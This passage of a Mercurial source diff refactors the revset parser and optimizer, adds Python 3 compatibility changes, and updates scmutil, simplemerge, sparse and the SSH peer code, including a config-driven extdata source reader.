-    elif op in ('dagrange', 'range', 'parent', 'ancestor', 'relation',
-                'subscript'):
-        ta = _analyze(x[1], defineorder)
-        tb = _analyze(x[2], defineorder)
-        return (op, ta, tb, order)
+        return _analyze(x[1])
+    elif op in {'and', 'dagrange', 'range', 'parent', 'ancestor', 'relation',
+                'subscript'}:
+        ta = _analyze(x[1])
+        tb = _analyze(x[2])
+        return (op, ta, tb)
     elif op == 'relsubscript':
-        ta = _analyze(x[1], defineorder)
-        tb = _analyze(x[2], defineorder)
-        tc = _analyze(x[3], defineorder)
-        return (op, ta, tb, tc, order)
+        ta = _analyze(x[1])
+        tb = _analyze(x[2])
+        tc = _analyze(x[3])
+        return (op, ta, tb, tc)
     elif op == 'list':
-        return (op,) + tuple(_analyze(y, order) for y in x[1:])
+        return (op,) + tuple(_analyze(y) for y in x[1:])
     elif op == 'keyvalue':
-        return (op, x[1], _analyze(x[2], order))
+        return (op, x[1], _analyze(x[2]))
     elif op == 'func':
-        f = getsymbol(x[1])
-        d = defineorder
-        if f == 'present':
-            # 'present(set)' is known to return the argument set with no
-            # modification, so forward the current order to its argument
-            d = order
-        return (op, x[1], _analyze(x[2], d), order)
+        return (op, x[1], _analyze(x[2]))
     raise ValueError('invalid operator %r' % op)
 
-def analyze(x, order=defineorder):
+def analyze(x):
     """Transform raw parsed tree to evaluatable tree which can be fed to
     optimize() or getset()
 
     All pseudo operations should be mapped to real operations or functions
     defined in methods or symbols table respectively.
+    """
+    return _analyze(x)
 
-    'order' specifies how the current expression 'x' is ordered (see the
-    constants defined above.)
-    """
-    return _analyze(x, order)
-
-def _optimize(x, small):
+def _optimize(x):
     if x is None:
         return 0, x
 
-    smallbonus = 1
-    if small:
-        smallbonus = .5
-
     op = x[0]
     if op in ('string', 'symbol'):
-        return smallbonus, x # single revisions are small
+        return 0.5, x # single revisions are small
     elif op == 'and':
-        wa, ta = _optimize(x[1], True)
-        wb, tb = _optimize(x[2], True)
-        order = x[3]
+        wa, ta = _optimize(x[1])
+        wb, tb = _optimize(x[2])
         w = min(wa, wb)
 
+        # (draft/secret/_notpublic() & ::x) have a fast path
+        m = _match('_() & ancestors(_)', ('and', ta, tb))
+        if m and getsymbol(m[1]) in {'draft', 'secret', '_notpublic'}:
+            return w, _build('_phaseandancestors(_, _)', m[1], m[2])
+
         # (::x and not ::y)/(not ::y and ::x) have a fast path
-        tm = _matchonly(ta, tb) or _matchonly(tb, ta)
-        if tm:
-            return w, ('func', ('symbol', 'only'), tm, order)
+        m = _matchonly(ta, tb) or _matchonly(tb, ta)
+        if m:
+            return w, _build('only(_, _)', *m[1:])
 
-        if tb is not None and tb[0] == 'not':
-            return wa, ('difference', ta, tb[1], order)
-
+        m = _match('not _', tb)
+        if m:
+            return wa, ('difference', ta, m[1])
         if wa > wb:
-            return w, (op, tb, ta, order)
-        return w, (op, ta, tb, order)
+            op = 'andsmally'
+        return w, (op, ta, tb)
     elif op == 'or':
         # fast path for machine-generated expression, that is likely to have
         # lots of trivial revisions: 'a + b + c()' to '_list(a b) + c()'
-        order = x[2]
         ws, ts, ss = [], [], []
         def flushss():
             if not ss:
@@ -451,13 +394,13 @@
                 w, t = ss[0]
             else:
                 s = '\0'.join(t[1] for w, t in ss)
-                y = ('func', ('symbol', '_list'), ('string', s), order)
-                w, t = _optimize(y, False)
+                y = _build('_list(_)', ('string', s))
+                w, t = _optimize(y)
             ws.append(w)
             ts.append(t)
             del ss[:]
         for y in getlist(x[1]):
-            w, t = _optimize(y, False)
+            w, t = _optimize(y)
             if t is not None and (t[0] == 'string' or t[0] == 'symbol'):
                 ss.append((w, t))
                 continue
@@ -467,66 +410,41 @@
         flushss()
         if len(ts) == 1:
             return ws[0], ts[0] # 'or' operation is fully optimized out
-        if order != defineorder:
-            # reorder by weight only when f(a + b) == f(b + a)
-            ts = [wt[1] for wt in sorted(zip(ws, ts), key=lambda wt: wt[0])]
-        return max(ws), (op, ('list',) + tuple(ts), order)
+        return max(ws), (op, ('list',) + tuple(ts))
     elif op == 'not':
         # Optimize not public() to _notpublic() because we have a fast version
-        if x[1][:3] == ('func', ('symbol', 'public'), None):
-            order = x[1][3]
-            newsym = ('func', ('symbol', '_notpublic'), None, order)
-            o = _optimize(newsym, not small)
+        if _match('public()', x[1]):
+            o = _optimize(_build('_notpublic()'))
             return o[0], o[1]
         else:
-            o = _optimize(x[1], not small)
-            order = x[2]
-            return o[0], (op, o[1], order)
+            o = _optimize(x[1])
+            return o[0], (op, o[1])
     elif op == 'rangeall':
-        return smallbonus, x
+        return 1, x
     elif op in ('rangepre', 'rangepost', 'parentpost'):
-        o = _optimize(x[1], small)
-        order = x[2]
-        return o[0], (op, o[1], order)
+        o = _optimize(x[1])
+        return o[0], (op, o[1])
     elif op in ('dagrange', 'range'):
-        wa, ta = _optimize(x[1], small)
-        wb, tb = _optimize(x[2], small)
-        order = x[3]
-        return wa + wb, (op, ta, tb, order)
+        wa, ta = _optimize(x[1])
+        wb, tb = _optimize(x[2])
+        return wa + wb, (op, ta, tb)
     elif op in ('parent', 'ancestor', 'relation', 'subscript'):
-        w, t = _optimize(x[1], small)
-        order = x[3]
-        return w, (op, t, x[2], order)
+        w, t = _optimize(x[1])
+        return w, (op, t, x[2])
     elif op == 'relsubscript':
-        w, t = _optimize(x[1], small)
-        order = x[4]
-        return w, (op, t, x[2], x[3], order)
+        w, t = _optimize(x[1])
+        return w, (op, t, x[2], x[3])
     elif op == 'list':
-        ws, ts = zip(*(_optimize(y, small) for y in x[1:]))
+        ws, ts = zip(*(_optimize(y) for y in x[1:]))
         return sum(ws), (op,) + ts
     elif op == 'keyvalue':
-        w, t = _optimize(x[2], small)
+        w, t = _optimize(x[2])
         return w, (op, x[1], t)
     elif op == 'func':
         f = getsymbol(x[1])
-        wa, ta = _optimize(x[2], small)
-        if f in ('author', 'branch', 'closed', 'date', 'desc', 'file', 'grep',
-                 'keyword', 'outgoing', 'user', 'destination'):
-            w = 10 # slow
-        elif f in ('modifies', 'adds', 'removes'):
-            w = 30 # slower
-        elif f == "contains":
-            w = 100 # very slow
-        elif f == "ancestor":
-            w = 1 * smallbonus
-        elif f in ('reverse', 'limit', 'first', 'wdir', '_intlist'):
-            w = 0
-        elif f == "sort":
-            w = 10 # assume most sorts look at changelog
-        else:
-            w = 1
-        order = x[3]
-        return w + wa, (op, x[1], ta, order)
+        wa, ta = _optimize(x[2])
+        w = getattr(symbols.get(f), '_weight', 1)
+        return w + wa, (op, x[1], ta)
     raise ValueError('invalid operator %r' % op)
 
 def optimize(tree):
@@ -534,23 +452,23 @@
 
     All pseudo operations should be transformed beforehand.
     """
-    _weight, newtree = _optimize(tree, small=True)
+    _weight, newtree = _optimize(tree)
     return newtree
 
 # the set of valid characters for the initial letter of symbols in
 # alias declarations and definitions
-_aliassyminitletters = _syminitletters | set(pycompat.sysstr('$'))
+_aliassyminitletters = _syminitletters | {'$'}
 
 def _parsewith(spec, lookup=None, syminitletters=None):
     """Generate a parse tree of given spec with given tokenizing options
 
-    >>> _parsewith('foo($1)', syminitletters=_aliassyminitletters)
+    >>> _parsewith(b'foo($1)', syminitletters=_aliassyminitletters)
     ('func', ('symbol', 'foo'), ('symbol', '$1'))
-    >>> _parsewith('$1')
+    >>> _parsewith(b'$1')
     Traceback (most recent call last):
       ...
     ParseError: ("syntax error in revset '$1'", 0)
-    >>> _parsewith('foo bar')
+    >>> _parsewith(b'foo bar')
     Traceback (most recent call last):
       ...
     ParseError: ('invalid token', 4)
@@ -620,11 +538,11 @@
 def _quote(s):
     r"""Quote a value in order to make it safe for the revset engine.
 
-    >>> _quote('asdf')
+    >>> _quote(b'asdf')
     "'asdf'"
-    >>> _quote("asdf'\"")
+    >>> _quote(b"asdf'\"")
     '\'asdf\\\'"\''
-    >>> _quote('asdf\'')
+    >>> _quote(b'asdf\'')
     "'asdf\\''"
     >>> _quote(1)
     "'1'"
@@ -648,19 +566,19 @@
 
     Prefixing the type with 'l' specifies a parenthesized list of that type.
 
-    >>> formatspec('%r:: and %lr', '10 or 11', ("this()", "that()"))
+    >>> formatspec(b'%r:: and %lr', b'10 or 11', (b"this()", b"that()"))
     '(10 or 11):: and ((this()) or (that()))'
-    >>> formatspec('%d:: and not %d::', 10, 20)
+    >>> formatspec(b'%d:: and not %d::', 10, 20)
     '10:: and not 20::'
-    >>> formatspec('%ld or %ld', [], [1])
+    >>> formatspec(b'%ld or %ld', [], [1])
     "_list('') or 1"
-    >>> formatspec('keyword(%s)', 'foo\\xe9')
+    >>> formatspec(b'keyword(%s)', b'foo\\xe9')
     "keyword('foo\\\\xe9')"
-    >>> b = lambda: 'default'
+    >>> b = lambda: b'default'
     >>> b.branch = b
-    >>> formatspec('branch(%b)', b)
+    >>> formatspec(b'branch(%b)', b)
     "branch('default')"
-    >>> formatspec('root(%ls)', ['a', 'b', 'c', 'd'])
+    >>> formatspec(b'root(%ls)', [b'a', b'b', b'c', b'd'])
     "root(_list('a\\x00b\\x00c\\x00d'))"
     '''
 
diff --git a/mercurial/scmposix.py b/mercurial/scmposix.py
--- a/mercurial/scmposix.py
+++ b/mercurial/scmposix.py
@@ -46,7 +46,7 @@
 def userrcpath():
     if pycompat.sysplatform == 'plan9':
         return [encoding.environ['home'] + '/lib/hgrc']
-    elif pycompat.sysplatform == 'darwin':
+    elif pycompat.isdarwin:
         return [os.path.expanduser('~/.hgrc')]
     else:
         confighome = encoding.environ.get('XDG_CONFIG_HOME')
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -13,12 +13,14 @@
 import os
 import re
 import socket
+import subprocess
 import weakref
 
 from .i18n import _
 from .node import (
     hex,
     nullid,
+    short,
     wdirid,
     wdirrev,
 )
@@ -34,10 +36,12 @@
     pycompat,
     revsetlang,
     similar,
+    url,
     util,
+    vfs,
 )
 
-if pycompat.osname == 'nt':
+if pycompat.iswindows:
     from . import scmwindows as scmplatform
 else:
     from . import scmposix as scmplatform
@@ -163,7 +167,8 @@
             ui.warn(_("(lock might be very busy)\n"))
     except error.LockUnavailable as inst:
         ui.warn(_("abort: could not lock %s: %s\n") %
-               (inst.desc or inst.filename, inst.strerror))
+               (inst.desc or inst.filename,
+                encoding.strtolocal(inst.strerror)))
     except error.OutOfBandError as inst:
         if inst.args:
             msg = _("abort: remote error:\n")
@@ -226,16 +231,18 @@
             pass
         elif getattr(inst, "strerror", None):
             if getattr(inst, "filename", None):
-                ui.warn(_("abort: %s: %s\n") % (inst.strerror, inst.filename))
+                ui.warn(_("abort: %s: %s\n") % (
+                    encoding.strtolocal(inst.strerror), inst.filename))
             else:
-                ui.warn(_("abort: %s\n") % inst.strerror)
+                ui.warn(_("abort: %s\n") % encoding.strtolocal(inst.strerror))
         else:
             raise
     except OSError as inst:
         if getattr(inst, "filename", None) is not None:
-            ui.warn(_("abort: %s: '%s'\n") % (inst.strerror, inst.filename))
+            ui.warn(_("abort: %s: '%s'\n") % (
+                encoding.strtolocal(inst.strerror), inst.filename))
         else:
-            ui.warn(_("abort: %s\n") % inst.strerror)
+            ui.warn(_("abort: %s\n") % encoding.strtolocal(inst.strerror))
     except MemoryError:
         ui.warn(_("abort: out of memory\n"))
     except SystemExit as inst:
@@ -273,7 +280,7 @@
     if abort or warn:
         msg = util.checkwinfilename(f)
         if msg:
-            msg = "%s: %r" % (msg, f)
+            msg = "%s: %s" % (msg, util.shellquote(f))
             if abort:
                 raise error.Abort(msg)
             ui.warn(_("warning: %s\n") % msg)
@@ -284,7 +291,7 @@
     val = ui.config('ui', 'portablefilenames')
     lval = val.lower()
     bval = util.parsebool(val)
-    abort = pycompat.osname == 'nt' or lval == 'abort'
+    abort = pycompat.iswindows or lval == 'abort'
     warn = bval or lval == 'warn'
     if bval is None and not (warn or abort or lval == 'ignore'):
         raise error.ConfigError(
@@ -402,11 +409,25 @@
         return wdirrev
     return rev
 
-def revsingle(repo, revspec, default='.'):
+def formatchangeid(ctx):
+    """Format changectx as '{rev}:{node|formatnode}', which is the default
+    template provided by cmdutil.changeset_templater"""
+    repo = ctx.repo()
+    return formatrevnode(repo.ui, intrev(ctx), binnode(ctx))
+
+def formatrevnode(ui, rev, node):
+    """Format given revision and node depending on the current verbosity"""
+    if ui.debugflag:
+        hexfunc = hex
+    else:
+        hexfunc = short
+    return '%d:%s' % (rev, hexfunc(node))
+
+def revsingle(repo, revspec, default='.', localalias=None):
     if not revspec and revspec != 0:
         return repo[default]
 
-    l = revrange(repo, [revspec])
+    l = revrange(repo, [revspec], localalias=localalias)
     if not l:
         raise error.Abort(_('empty revision set'))
     return repo[l.last()]
@@ -445,7 +466,7 @@
 
     return repo.lookup(first), repo.lookup(second)
 
-def revrange(repo, specs):
+def revrange(repo, specs, localalias=None):
     """Execute 1 to many revsets and return the union.
 
     This is the preferred mechanism for executing revsets using user-specified
@@ -471,7 +492,7 @@
         if isinstance(spec, int):
             spec = revsetlang.formatspec('rev(%d)', spec)
         allspecs.append(spec)
-    return repo.anyrevs(allspecs, user=True)
+    return repo.anyrevs(allspecs, user=True, localalias=localalias)
 
 def meaningfulparents(repo, ctx):
     """Return list of meaningful (or all if debug) parentrevs for rev.
@@ -546,25 +567,55 @@
     '''Return a matcher that will efficiently match exactly these files.'''
     return matchmod.exact(repo.root, repo.getcwd(), files, badfn=badfn)
 
+def parsefollowlinespattern(repo, rev, pat, msg):
+    """Return a file name from `pat` pattern suitable for usage in followlines
+    logic.
+    """
+    if not matchmod.patkind(pat):
+        return pathutil.canonpath(repo.root, repo.getcwd(), pat)
+    else:
+        ctx = repo[rev]
+        m = matchmod.match(repo.root, repo.getcwd(), [pat], ctx=ctx)
+        files = [f for f in ctx if m(f)]
+        if len(files) != 1:
+            raise error.ParseError(msg)
+        return files[0]
+
 def origpath(ui, repo, filepath):
     '''customize where .orig files are created
 
     Fetch user defined path from config file: [ui] origbackuppath = <path>
-    Fall back to default (filepath) if not specified
+    Fall back to default (filepath with .orig suffix) if not specified
     '''
     origbackuppath = ui.config('ui', 'origbackuppath')
-    if origbackuppath is None:
+    if not origbackuppath:
         return filepath + ".orig"
 
-    filepathfromroot = os.path.relpath(filepath, start=repo.root)
-    fullorigpath = repo.wjoin(origbackuppath, filepathfromroot)
+    # Convert filepath from an absolute path into a path inside the repo.
+    filepathfromroot = util.normpath(os.path.relpath(filepath,
+                                                     start=repo.root))
+
+    origvfs = vfs.vfs(repo.wjoin(origbackuppath))
+    origbackupdir = origvfs.dirname(filepathfromroot)
+    if not origvfs.isdir(origbackupdir) or origvfs.islink(origbackupdir):
+        ui.note(_('creating directory: %s\n') % origvfs.join(origbackupdir))
 
-    origbackupdir = repo.vfs.dirname(fullorigpath)
-    if not repo.vfs.exists(origbackupdir):
-        ui.note(_('creating directory: %s\n') % origbackupdir)
-        util.makedirs(origbackupdir)
+        # Remove any files that conflict with the backup file's path
+        for f in reversed(list(util.finddirs(filepathfromroot))):
+            if origvfs.isfileorlink(f):
+                ui.note(_('removing conflicting file: %s\n')
+                        % origvfs.join(f))
+                origvfs.unlink(f)
+                break
 
-    return fullorigpath + ".orig"
+        origvfs.makedirs(origbackupdir)
+
+    if origvfs.isdir(filepathfromroot):
+        ui.note(_('removing conflicting directory: %s\n')
+                % origvfs.join(filepathfromroot))
+        origvfs.rmtree(filepathfromroot, forcibly=True)
+
+    return origvfs.join(filepathfromroot)
 
 class _containsnode(object):
     """proxy __contains__(node) to container.__contains__ which accepts revs"""
@@ -576,7 +627,7 @@
     def __contains__(self, node):
         return self._revcontains(self._torev(node))
 
-def cleanupnodes(repo, replacements, operation, moves=None):
+def cleanupnodes(repo, replacements, operation, moves=None, metadata=None):
     """do common cleanups when old nodes are replaced by new nodes
 
     That includes writing obsmarkers or stripping nodes, and moving bookmarks.
@@ -588,6 +639,9 @@
 
     replacements is {oldnode: [newnode]} or a iterable of nodes if they do not
     have replacements. operation is a string, like "rebase".
+
+    metadata is dictionary containing metadata to be stored in obsmarker if
+    obsolescence is enabled.
     """
     if not replacements and not moves:
         return
@@ -658,7 +712,8 @@
                     for n, s in sorted(replacements.items(), key=sortfunc)
                     if s or not isobs(n)]
             if rels:
-                obsolete.createmarkers(repo, rels, operation=operation)
+                obsolete.createmarkers(repo, rels, operation=operation,
+                                       metadata=metadata)
         else:
             from . import repair # avoid import cycle
             tostrip = list(replacements)
@@ -761,8 +816,8 @@
 
     ctx = repo[None]
     dirstate = repo.dirstate
-    walkresults = dirstate.walk(matcher, sorted(ctx.substate), True, False,
-                                full=False)
+    walkresults = dirstate.walk(matcher, subrepos=sorted(ctx.substate),
+                                unknown=True, ignored=False, full=False)
     for abs, st in walkresults.iteritems():
         dstate = dirstate[abs]
         if dstate == '?' and audit_path.check(abs):
@@ -998,6 +1053,62 @@
         except KeyError:
             raise AttributeError(self.name)
 
+def extdatasource(repo, source):
+    """Gather a map of rev -> value dict from the specified source
+
+    A source spec is treated as a URL, with a special case shell: type
+    for parsing the output from a shell command.
+
+    The data is parsed as a series of newline-separated records where
+    each record is a revision specifier optionally followed by a space
+    and a freeform string value. If the revision is known locally, it
+    is converted to a rev, otherwise the record is skipped.
+
+    Note that both key and value are treated as UTF-8 and converted to
+    the local encoding. This allows uniformity between local and
+    remote data sources.
+    """
+
+    spec = repo.ui.config("extdata", source)
+    if not spec:
+        raise error.Abort(_("unknown extdata source '%s'") % source)
+
+    data = {}
+    src = proc = None
+    try:
+        if spec.startswith("shell:"):
+            # external commands should be run relative to the repo root
+            cmd = spec[6:]
+            proc = subprocess.Popen(cmd, shell=True, bufsize=-1,
+                                    close_fds=util.closefds,
+                                    stdout=subprocess.PIPE, cwd=repo.root)
+            src = proc.stdout
+        else:
+            # treat as a URL or file
+            src = url.open(repo.ui, spec)
+        for l in src:
+            if " " in l:
+                k, v = l.strip().split(" ", 1)
+            else:
+                k, v = l.strip(), ""
+
+            k = encoding.tolocal(k)
+            try:
+                data[repo[k].rev()] = encoding.tolocal(v)
+            except (error.LookupError, error.RepoLookupError):
+                pass # we ignore data for nodes that don't exist locally
+    finally:
+        if proc:
+            proc.communicate()
+            if proc.returncode != 0:
+                # not an error so 'cmd | grep' can be empty
+                repo.ui.debug("extdata command '%s' %s\n"
+                              % (cmd, util.explainexit(proc.returncode)[0]))
+        if src:
+            src.close()
+
+    return data
+
 def _locksub(repo, lock, envvar, cmd, environ=None, *args, **kwargs):
     if lock is None:
         raise error.LockInheritanceContractViolation(
@@ -1107,18 +1218,56 @@
     'unbundle',
 ]
 
+_reportnewcssource = [
+    'pull',
+    'unbundle',
+]
+
 def registersummarycallback(repo, otr, txnname=''):
     """register a callback to issue a summary after the transaction is closed
     """
-    for source in _reportobsoletedsource:
-        if txnname.startswith(source):
-            reporef = weakref.ref(repo)
-            def reportsummary(tr):
-                """the actual callback reporting the summary"""
-                repo = reporef()
-                obsoleted = obsutil.getobsoleted(repo, tr)
-                if obsoleted:
-                    repo.ui.status(_('obsoleted %i changesets\n')
-                                   % len(obsoleted))
-            otr.addpostclose('00-txnreport', reportsummary)
-            break
+    def txmatch(sources):
+        return any(txnname.startswith(source) for source in sources)
+
+    categories = []
+
+    def reportsummary(func):
+        """decorator for report callbacks."""
+        reporef = weakref.ref(repo)
+        def wrapped(tr):
+            repo = reporef()
+            func(repo, tr)
+        newcat = '%2i-txnreport' % len(categories)
+        otr.addpostclose(newcat, wrapped)
+        categories.append(newcat)
+        return wrapped
+
+    if txmatch(_reportobsoletedsource):
+        @reportsummary
+        def reportobsoleted(repo, tr):
+            obsoleted = obsutil.getobsoleted(repo, tr)
+            if obsoleted:
+                repo.ui.status(_('obsoleted %i changesets\n')
+                               % len(obsoleted))
+
+    if txmatch(_reportnewcssource):
+        @reportsummary
+        def reportnewcs(repo, tr):
+            """Report the range of new revisions pulled/unbundled."""
+            newrevs = list(tr.changes.get('revs', set()))
+            if not newrevs:
+                return
+
+            # Compute the bounds of new revisions' range, excluding obsoletes.
+            unfi = repo.unfiltered()
+            revs = unfi.revs('%ld and not obsolete()', newrevs)
+            if not revs:
+                # Got only obsoletes.
+                return
+            minrev, maxrev = repo[revs.min()], repo[revs.max()]
+
+            if minrev == maxrev:
+                revrange = minrev
+            else:
+                revrange = '%s:%s' % (minrev, maxrev)
+            repo.ui.status(_('new changesets %s\n') % revrange)
diff --git a/mercurial/selectors2.py b/mercurial/selectors2.py
--- a/mercurial/selectors2.py
+++ b/mercurial/selectors2.py
@@ -29,12 +29,13 @@
 import collections
 import errno
 import math
-import platform
 import select
 import socket
 import sys
 import time
 
+from . import pycompat
+
 namedtuple = collections.namedtuple
 Mapping = collections.Mapping
 
@@ -288,7 +289,7 @@
     __all__.append('SelectSelector')
 
     # Jython has a different implementation of .fileno() for socket objects.
-    if platform.system() == 'Java':
+    if pycompat.isjython:
         class _JythonSelectorMapping(object):
             """ This is an implementation of _SelectorMapping that is built
             for use specifically with Jython, which does not provide a hashable
@@ -727,7 +728,7 @@
     by eventlet, greenlet, and preserve proper behavior. """
     global _DEFAULT_SELECTOR
     if _DEFAULT_SELECTOR is None:
-        if platform.system() == 'Java':  # Platform-specific: Jython
+        if pycompat.isjython:
             _DEFAULT_SELECTOR = JythonSelectSelector
         elif _can_allocate('kqueue'):
             _DEFAULT_SELECTOR = KqueueSelector
diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -18,15 +18,12 @@
 
 from __future__ import absolute_import
 
-import os
-
 from .i18n import _
 from . import (
     error,
     mdiff,
     pycompat,
     util,
-    vfs as vfsmod,
 )
 
 class CantReprocessAndShowBase(Exception):
@@ -397,52 +394,54 @@
 
         return unc
 
-def simplemerge(ui, local, base, other, **opts):
-    def readfile(filename):
-        f = open(filename, "rb")
-        text = f.read()
-        f.close()
-        if util.binary(text):
-            msg = _("%s looks like a binary file.") % filename
-            if not opts.get('quiet'):
-                ui.warn(_('warning: %s\n') % msg)
-            if not opts.get('text'):
-                raise error.Abort(msg)
-        return text
+def _verifytext(text, path, ui, opts):
+    """verifies that text is non-binary (unless opts[text] is passed,
+    then we just warn)"""
+    if util.binary(text):
+        msg = _("%s looks like a binary file.") % path
+        if not opts.get('quiet'):
+            ui.warn(_('warning: %s\n') % msg)
+        if not opts.get('text'):
+            raise error.Abort(msg)
+    return text
+
+def _picklabels(defaults, overrides):
+    if len(overrides) > 3:
+        raise error.Abort(_("can only specify three labels."))
+    result = defaults[:]
+    for i, override in enumerate(overrides):
+        result[i] = override
+    return result
+
+def simplemerge(ui, localctx, basectx, otherctx, **opts):
+    """Performs the simplemerge algorithm.
+
+    The merged result is written into `localctx`.
+    """
+    def readctx(ctx):
+        # Merges were always run in the working copy before, which means
+        # they used decoded data, if the user defined any repository
+        # filters.
+        #
+        # Maintain that behavior today for BC, though perhaps in the future
+        # it'd be worth considering whether merging encoded data (what the
+        # repository usually sees) might be more useful.
+        return _verifytext(ctx.decodeddata(), ctx.path(), ui, opts)
 
     mode = opts.get('mode','merge')
-    if mode == 'union':
-        name_a = None
-        name_b = None
-        name_base = None
-    else:
-        name_a = local
-        name_b = other
-        name_base = None
-        labels = opts.get('label', [])
-        if len(labels) > 0:
-            name_a = labels[0]
-        if len(labels) > 1:
-            name_b = labels[1]
-        if len(labels) > 2:
-            name_base = labels[2]
-        if len(labels) > 3:
-            raise error.Abort(_("can only specify three labels."))
+    name_a, name_b, name_base = None, None, None
+    if mode != 'union':
+        name_a, name_b, name_base = _picklabels([localctx.path(),
+                                                 otherctx.path(), None],
+                                                opts.get('label', []))
 
     try:
-        localtext = readfile(local)
-        basetext = readfile(base)
-        othertext = readfile(other)
+        localtext = readctx(localctx)
+        basetext = readctx(basectx)
+        othertext = readctx(otherctx)
     except error.Abort:
         return 1
 
-    local = os.path.realpath(local)
-    if not opts.get('print'):
-        opener = vfsmod.vfs(os.path.dirname(local))
-        out = opener(os.path.basename(local), "w", atomictemp=True)
-    else:
-        out = ui.fout
-
     m3 = Merge3Text(basetext, localtext, othertext)
     extrakwargs = {
             "localorother": opts.get("localorother", None),
@@ -456,12 +455,17 @@
         extrakwargs['base_marker'] = '|||||||'
         extrakwargs['name_base'] = name_base
         extrakwargs['minimize'] = False
+
+    mergedtext = ""
     for line in m3.merge_lines(name_a=name_a, name_b=name_b,
                                **pycompat.strkwargs(extrakwargs)):
-        out.write(line)
+        if opts.get('print'):
+            ui.fout.write(line)
+        else:
+            mergedtext += line
 
     if not opts.get('print'):
-        out.close()
+        localctx.write(mergedtext, localctx.flags())
 
     if m3.conflicts and not mode == 'union':
         return 1
diff --git a/mercurial/smartset.py b/mercurial/smartset.py
--- a/mercurial/smartset.py
+++ b/mercurial/smartset.py
@@ -357,7 +357,7 @@
 
     def _fastsetop(self, other, op):
         # try to use native set operations as fast paths
-        if (type(other) is baseset and '_set' in other.__dict__ and '_set' in
+        if (type(other) is baseset and r'_set' in other.__dict__ and r'_set' in
             self.__dict__ and self._ascending is not None):
             s = baseset(data=getattr(self._set, op)(other._set),
                         istopo=self._istopo)
diff --git a/mercurial/sparse.py b/mercurial/sparse.py
--- a/mercurial/sparse.py
+++ b/mercurial/sparse.py
@@ -17,6 +17,7 @@
     error,
     match as matchmod,
     merge as mergemod,
+    pathutil,
     pycompat,
     scmutil,
     util,
@@ -485,7 +486,8 @@
                 dropped.append(file)
 
     # Apply changes to disk
-    typeactions = dict((m, []) for m in 'a f g am cd dc r dm dg m e k'.split())
+    typeactions = dict((m, [])
+                       for m in 'a f g am cd dc r dm dg m e k p pr'.split())
     for f, (m, args, msg) in actions.iteritems():
         if m not in typeactions:
             typeactions[m] = []
@@ -616,7 +618,7 @@
 
 def updateconfig(repo, pats, opts, include=False, exclude=False, reset=False,
                  delete=False, enableprofile=False, disableprofile=False,
-                 force=False):
+                 force=False, usereporootpaths=False):
     """Perform a sparse config update.
 
     Only one of the actions may be performed.
@@ -636,10 +638,24 @@
             newexclude = set(oldexclude)
             newprofiles = set(oldprofiles)
 
-        if any(pat.startswith('/') for pat in pats):
-            repo.ui.warn(_('warning: paths cannot start with /, ignoring: %s\n')
-                         % ([pat for pat in pats if pat.startswith('/')]))
-        elif include:
+        if any(os.path.isabs(pat) for pat in pats):
+            raise error.Abort(_('paths cannot be absolute'))
+
+        if not usereporootpaths:
+            # let's treat paths as relative to cwd
+            root, cwd = repo.root, repo.getcwd()
+            abspats = []
+            for kindpat in pats:
+                kind, pat = matchmod._patsplit(kindpat, None)
+                if kind in matchmod.cwdrelativepatternkinds or kind is None:
+                    ap = (kind + ':' if kind else '') +\
+                            pathutil.canonpath(root, cwd, pat)
+                    abspats.append(ap)
+                else:
+                    abspats.append(kindpat)
+            pats = abspats
+
+        if include:
             newinclude.update(pats)
         elif exclude:
             newexclude.update(pats)
diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
--- a/mercurial/sshpeer.py
+++ b/mercurial/sshpeer.py
@@ -17,21 +17,6 @@
     wireproto,
 )
 
-class remotelock(object):
-    def __init__(self, repo):
-        self.repo = repo
-    def release(self):
-        self.repo.unlock()
-        self.repo = None
-    def __enter__(self):
-        return self
-    def __exit__(self, exc_type, exc_val, exc_tb):
-        if self.repo:
-            self.release()
-    def __del__(self):
-        if self.repo:
-            self.release()
-
 def _serverquote(s):
     if not s:
         return s
@@ -132,8 +117,8 @@
 class sshpeer(wireproto.wirepeer):
     def __init__(self, ui, path, create=False):
         self._url = path
-        self.ui = ui
-        self.pipeo = self.pipei = self.pipee = None
+        self._ui = ui
+        self._pipeo = self._pipei = self._pipee = None
 
         u = util.url(path, parsequery=False, parsefragment=False)
         if u.scheme != 'ssh' or not u.host or u.path is None:
@@ -141,22 +126,23 @@
 
         util.checksafessh(path)
 
-        self.user = u.user
         if u.passwd is not None:
             self._abort(error.RepoError(_("password in URL not supported")))
-        self.host = u.host
-        self.port = u.port
-        self.path = u.path or "."
+
+        self._user = u.user
+        self._host = u.host
+        self._port = u.port
+        self._path = u.path or '.'
 
         sshcmd = self.ui.config("ui", "ssh")
         remotecmd = self.ui.config("ui", "remotecmd")
 
-        args = util.sshargs(sshcmd, self.host, self.user, self.port)
+        args = util.sshargs(sshcmd, self._host, self._user, self._port)
 
         if create:
             cmd = '%s %s %s' % (sshcmd, args,
                 util.shellquote("%s init %s" %
-                    (_serverquote(remotecmd), _serverquote(self.path))))
+                    (_serverquote(remotecmd), _serverquote(self._path))))
             ui.debug('running %s\n' % cmd)
             res = ui.system(cmd, blockedtag='sshpeer')
             if res != 0:
@@ -164,31 +150,58 @@
 
         self._validaterepo(sshcmd, args, remotecmd)
 
+    # Begin of _basepeer interface.
+
+    @util.propertycache
+    def ui(self):
+        return self._ui
+
     def url(self):
         return self._url
 
+    def local(self):
+        return None
+
+    def peer(self):
+        return self
+
+    def canpush(self):
+        return True
+
+    def close(self):
+        pass
+
+    # End of _basepeer interface.
+
+    # Begin of _basewirecommands interface.
+
+    def capabilities(self):
+        return self._caps
+
+    # End of _basewirecommands interface.
+
     def _validaterepo(self, sshcmd, args, remotecmd):
         # cleanup up previous run
-        self.cleanup()
+        self._cleanup()
 
         cmd = '%s %s %s' % (sshcmd, args,
             util.shellquote("%s -R %s serve --stdio" %
-                (_serverquote(remotecmd), _serverquote(self.path))))
+                (_serverquote(remotecmd), _serverquote(self._path))))
         self.ui.debug('running %s\n' % cmd)
         cmd = util.quotecommand(cmd)
 
-        # while self.subprocess isn't used, having it allows the subprocess to
+        # while self._subprocess isn't used, having it allows the subprocess to
         # to clean up correctly later
         #
         # no buffer allow the use of 'select'
         # feel free to remove buffering and select usage when we ultimately
         # move to threading.
         sub = util.popen4(cmd, bufsize=0)
-        self.pipeo, self.pipei, self.pipee, self.subprocess = sub
